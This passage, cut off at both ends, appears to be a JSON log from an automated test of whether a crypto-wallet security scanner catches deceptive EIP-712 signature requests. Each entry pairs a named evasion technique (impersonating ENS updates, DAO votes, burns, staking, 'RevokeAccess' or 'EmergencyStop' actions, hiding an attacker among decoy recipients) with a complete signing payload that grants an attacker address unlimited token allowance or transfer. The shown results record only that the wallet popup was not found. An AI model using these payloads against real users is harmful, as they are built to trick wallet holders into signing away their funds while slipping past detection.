Token\",\"attributes\":[{\"key\":\"creator\",\"value\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"},{\"key\":\"curator\",\"value\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\"},{\"key\":\"beneficiary\",\"value\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\"}]},\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-003", "timestamp": "2026-01-31T18:08:36.980Z", "technique": "Batch operations hiding", "category": "nested", "description": "Malicious op hidden among benign ones", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Operation\":[{\"name\":\"opType\",\"type\":\"uint8\"},{\"name\":\"target\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"}],\"BatchOps\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"operations\",\"type\":\"Operation[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"BatchOps\",\"domain\":{\"name\":\"Batch Executor\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operations\":[{\"opType\":1,\"target\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"amount\":\"1000000\"},{\"opType\":1,\"target\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"amount\":\"2000000\"},{\"opType\":2,\"target\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},{\"opType\":1,\"target\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"amount\":\"500000\"}],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-001", "timestamp": "2026-01-31T18:08:46.538Z", "technique": "ENS update impersonation", "category": "impersonate", "description": "Looks like ENS resolver update", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetText\":[{\"name\":\"node\",\"type\":\"bytes32\"},{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"string\"},{\"name\":\"resolver\",\"type\":\"address\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"SetText\",\"domain\":{\"name\":\"ENS Public Resolver\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"node\":\"0x0000000000000000000000000000000000000000000000000000000000000000\",\"key\":\"avatar\",\"value\":\"https://example.com/avatar.png\",\"resolver\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-002", "timestamp": "2026-01-31T18:08:56.084Z", "technique": "DAO vote impersonation", "category": "impersonate", "description": "Looks like casting a DAO vote", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Vote\":[{\"name\":\"proposalId\",\"type\":\"uint256\"},{\"name\":\"voter\",\"type\":\"address\"},{\"name\":\"support\",\"type\":\"bool\"},{\"name\":\"delegate\",\"type\":\"address\"},{\"name\":\"votingPower\",\"type\":\"uint256\"}]},\"primaryType\":\"Vote\",\"domain\":{\"name\":\"Governance\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"proposalId\":\"42\",\"voter\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"support\":true,\"delegate\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"votingPower\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-003", "timestamp": "2026-01-31T18:09:05.644Z", "technique": "NFT metadata impersonation", "category": "impersonate", "description": "Looks like updating NFT metadata", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"UpdateTokenURI\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"newURI\",\"type\":\"string\"},{\"name\":\"royaltyRecipient\",\"type\":\"address\"},{\"name\":\"royaltyBps\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateTokenURI\",\"domain\":{\"name\":\"NFT Collection\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"newURI\":\"ipfs://QmExample\",\"royaltyRecipient\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"royaltyBps\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-004", "timestamp": "2026-01-31T18:09:15.185Z", "technique": "Social recovery impersonation", "category": "impersonate", "description": "Looks like adding recovery guardian", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"AddGuardian\":[{\"name\":\"wallet\",\"type\":\"address\"},{\"name\":\"guardian\",\"type\":\"address\"},{\"name\":\"threshold\",\"type\":\"uint256\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"AddGuardian\",\"domain\":{\"name\":\"Social Recovery Module\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"wallet\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"guardian\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "DECOY-001", "timestamp": "2026-01-31T18:09:24.718Z", "technique": "Address array flooding", "category": "decoy", "description": "Spender is 1 of 20 addresses", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MultiSend\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"recipients\",\"type\":\"address[]\"},{\"name\":\"amounts\",\"type\":\"uint256[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"MultiSend\",\"domain\":{\"name\":\"Multi Sender\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"recipients\":[\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"0xE592427A0AEce92De3Edee1F18E0157C05861564\",\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"0x000000000022D473030F116dDEE9F6B43aC78BA3\",\"0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2\",\"0x6B175474E89094C44Da98b954EedcdCdAe53739cE\",\"0xdAC17F958D2ee523a2206206994597C13D831ec7\",\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"],\"amounts\":[\"100000\",\"200000\",\"300000\",\"400000\",\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"100000\",\"200000\",\"300000\",\"400000\",\"500000\"],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "DECOY-002", "timestamp": "2026-01-31T18:09:34.277Z", "technique": "Multi-recipient decoy", "category": "decoy", "description": "Attacker hidden among legit recipients", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Recipient\":[{\"name\":\"addr\",\"type\":\"address\"},{\"name\":\"share\",\"type\":\"uint256\"},{\"name\":\"label\",\"type\":\"string\"}],\"SplitPayment\":[{\"name\":\"payer\",\"type\":\"address\"},{\"name\":\"totalAmount\",\"type\":\"uint256\"},{\"name\":\"recipients\",\"type\":\"Recipient[]\"}]},\"primaryType\":\"SplitPayment\",\"domain\":{\"name\":\"Payment Splitter\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"payer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"totalAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"recipients\":[{\"addr\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"share\":\"1000\",\"label\":\"Treasury\"},{\"addr\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"share\":\"500\",\"label\":\"Marketing\"},{\"addr\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"share\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"label\":\"Operations\"},{\"addr\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"share\":\"250\",\"label\":\"Dev Fund\"}]}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "VALUE-001", "timestamp": "2026-01-31T18:09:43.838Z", "technique": "Zero means unlimited", "category": "value", "description": "Value=0 but contract interprets as max", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetLimit\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"spender\",\"type\":\"address\"},{\"name\":\"limit\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"SetLimit\",\"domain\":{\"name\":\"Spending Limits\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"spender\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"limit\":\"0\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "VALUE-002", "timestamp": "2026-01-31T18:09:53.396Z", "technique": "Negative value illusion", "category": "value", "description": "Max uint256 displayed as -1", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Adjust\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"operator\",\"type\":\"address\"},{\"name\":\"adjustment\",\"type\":\"int256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Adjust\",\"domain\":{\"name\":\"Balance Adjuster\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"adjustment\":\"-1\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-001", "timestamp": "2026-01-31T18:10:02.952Z", "technique": "Burn that transfers", "category": "action", "description": "Looks like burning but transfers to spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Burn\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"burnAddress\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Burn\",\"domain\":{\"name\":\"Token Burner\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"burnAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-002", "timestamp": "2026-01-31T18:10:12.511Z", "technique": "Lock that approves", "category": "action", "description": "Looks like locking tokens but approves", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"LockTokens\":[{\"name\":\"locker\",\"type\":\"address\"},{\"name\":\"lockContract\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"duration\",\"type\":\"uint256\"}]},\"primaryType\":\"LockTokens\",\"domain\":{\"name\":\"Token Locker\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"locker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"lockContract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"duration\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-003", "timestamp": "2026-01-31T18:10:22.069Z", "technique": "Stake that approves", "category": "action", "description": "Looks like staking but grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Stake\":[{\"name\":\"staker\",\"type\":\"address\"},{\"name\":\"stakingPool\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"lockPeriod\",\"type\":\"uint256\"}]},\"primaryType\":\"Stake\",\"domain\":{\"name\":\"Staking Rewards\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"staker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"stakingPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"lockPeriod\":\"31536000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-004", "timestamp": "2026-01-31T18:10:31.634Z", "technique": "Migration to attacker", "category": "action", "description": "Looks like v2 migration but goes to attacker", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MigrateToV2\":[{\"name\":\"holder\",\"type\":\"address\"},{\"name\":\"v2Contract\",\"type\":\"address\"},{\"name\":\"migrateAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"MigrateToV2\",\"domain\":{\"name\":\"Token Migration\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"holder\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"v2Contract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"migrateAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN41-EIP3009-022", "timestamp": "2026-01-31T18:10:41.193Z", "technique": "EIP-3009 uppercase addresses", "category": "eip3009", "description": "EIP-3009 with addresses in all uppercase (invalid checksum)", "expectedBypass": "Invalid checksum might confuse validators", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0B86991C6218B36C1D19D4A2E9EB0CE3606EB48\"},\"message\":{\"from\":\"0x027821C81BC29F8860E7A17AB759ED000C97F178\",\"to\":\"0x87EF9D8F1CEC5AFC1A46B472D068FB84E7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0xfe1b870bfd5a82dd6d90a44ee03d7713b5a1f4aefa892fa810bfd813d3b3421e\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN41-EIP3009-054", "timestamp": "2026-01-31T18:10:50.753Z", "technique": "EIP-3009 self transfer", "category": "eip3009", "description": "EIP-3009 where from = SPENDER (attacker sending to self)", "expectedBypass": "Self-transfer might seem benign", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0xb40df7ee25bacfe0a7dc37390fc6405a25ce8980e6ae3dfed36b2903489643e4\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-001", "timestamp": "2026-01-31T18:11:00.314Z", "technique": "RevokeAccess type that grants", "category": "semantic", "description": "Type named RevokeAccess but grants unlimited approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"RevokeAccess\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"revokedAddress\",\"type\":\"address\"},{\"name\":\"revokeAmount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"RevokeAccess\",\"domain\":{\"name\":\"Token Security Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"revokedAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"revokeAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-002", "timestamp": "2026-01-31T18:11:09.883Z", "technique": "DisableWithdrawals type", "category": "semantic", "description": "Sounds like disabling but enables", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"DisableWithdrawals\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"disabledFor\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"expiry\",\"type\":\"uint256\"}]},\"primaryType\":\"DisableWithdrawals\",\"domain\":{\"name\":\"Vault Security\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"disabledFor\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"expiry\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-003", "timestamp": "2026-01-31T18:11:19.429Z", "technique": "SecurityUpdate type", "category": "semantic", "description": "Looks like security config but adds spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SecurityConfig\":[{\"name\":\"token\",\"type\":\"address\"},{\"name\":\"maxAmount\",\"type\":\"uint256\"}],\"SecurityUpdate\":[{\"name\":\"user\",\"type\":\"address\"},{\"name\":\"trustedOperator\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"SecurityConfig\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"SecurityUpdate\",\"domain\":{\"name\":\"Security Manager v2\",\"version\":\"2.0\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"user\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"trustedOperator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"config\":{\"token\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\",\"maxAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-004", "timestamp": "2026-01-31T18:11:28.994Z", "technique": "EmergencyStop type", "category": "semantic", "description": "Emergency action that grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"EmergencyStop\":[{\"name\":\"initiator\",\"type\":\"address\"},{\"name\":\"emergencyContact\",\"type\":\"address\"},{\"name\":\"fundsLimit\",\"type\":\"uint256\"},{\"name\":\"activateBy\",\"type\":\"uint256\"}]},\"primaryType\":\"EmergencyStop\",\"domain\":{\"name\":\"Emergency Protocol\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"initiator\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"emergencyContact\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"fundsLimit\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"activateBy\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-005", "timestamp": "2026-01-31T18:11:38.549Z", "technique": "ClaimRewards type", "category": "semantic", "description": "Looks like claiming rewards but approves spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", 